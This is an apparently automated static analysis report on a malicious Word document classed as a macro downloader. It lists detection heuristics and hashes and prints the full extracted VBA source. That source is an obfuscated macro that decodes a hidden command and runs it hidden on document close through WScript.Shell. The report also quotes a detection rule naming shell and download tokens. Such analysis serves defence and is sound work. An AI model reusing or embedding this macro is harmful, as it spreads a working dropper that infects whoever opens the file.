Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bb4eeb211e54b55d…

MALICIOUS

Office (OOXML)

36.3 KB Created: 2017-05-22 22:37:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2020-05-14
MD5: 2b9bead7066d932743ca82e2e90e482a SHA-1: 97b132de05a2ccca487bdc19ce10db493c18bba2 SHA-256: bb4eeb211e54b55d35f7b46ab85420e2ed033c0594f906aef7495430d30bb7f7
312 Risk Score

Heuristics 9

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Call CreateObject("WScript.Shell").Run(foglio, vbHide)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Call CreateObject("WScript.Shell").Run(foglio, vbHide)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2523 bytes
SHA-256: 9586d3eed4b2507cd895881e6634fe3cf262e2579a0b9f0e7e87b332b2f41d89
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function nitido(diffuso As Integer) As String
 Dim brevetto() As Variant
 brevetto = Array("o", "\", "F", "?", "+", "P", "a", ";", "g", "B", "m", "(", "'", "c", "u", ".", "n", "w", "D", "t", "-", "x", "l", "i", "/", "S", " ", "=", ")", "y", "T", "Y", "E", "$", "N", "A", ":", "d", "e", "O", "W", "j", "r", "C", "h", "Z", "b", ",", "s", "v", "p")
 Dim avvenire As Integer
 
 For avvenire = LBound(brevetto) To UBound(brevetto)
   If avvenire = diffuso Then
    nitido = brevetto(avvenire)
   End If
 Next
 
End Function

Function vagliato(Optional erba As String, Optional erba2)
  ipotesi = lessato(Trim(erba))
  For avvenire = 0 To Len(erba)
  
    Dim umorismo As String
    Dim fluente As Integer
    If (avvenire + 1) <= UBound(ipotesi) Then
    lusso = longevo(Array(lusso, nitido(Int(ipotesi(avvenire) + ipotesi(avvenire + 1)))))
    avvenire = avvenire + 1
    End If
  Next
  
  vagliato = lusso
End Function


Public Function svagare(foglio As String)
  If Len(foglio) > 16 Then
    Call CreateObject("WScript.Shell").Run(foglio, vbHide)
  End If
End Function

Sub AutoClose()
 Call Application.Run("svagare", vagliato("50001738424844382222262034003221231926203221381326092950064848262043001010061637261134381720394641381319262529481938101534381915403846432223381619281518001716220006370223223811124419195036242417384844382208000600142916191706162915130010243045242319062229155029131247263338164936350505183530352604261201233105414215382138122807262519064219200542001338484826333816493635050518353035120123310541421538213812072611343817203946413813192625294819381015343819154038464322233816192815180017162200063725194223160811124419195036242417384844382208000600142916191706162915130010244815504450032337272319062229122807"))
End Sub

Function longevo(testato As Variant)
 ripulire = ""
 
 For deserto = 0 To UBound(testato)
   ripulire = ripulire & "" & testato(deserto)
 Next
 
 longevo = ripulire
End Function



Function lessato(nuovo As String, Optional zefiro As Integer) As Variant
    lessato = Split(Left(StrConv(nuovo, vbUnicode), Len(StrConv(nuovo, vbUnicode)) - 1), vbNullChar)
End Function

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 89133172bf9144bebcc86cc0ab41e3095a6d9a1d59c27034018ab6b168eb09ee
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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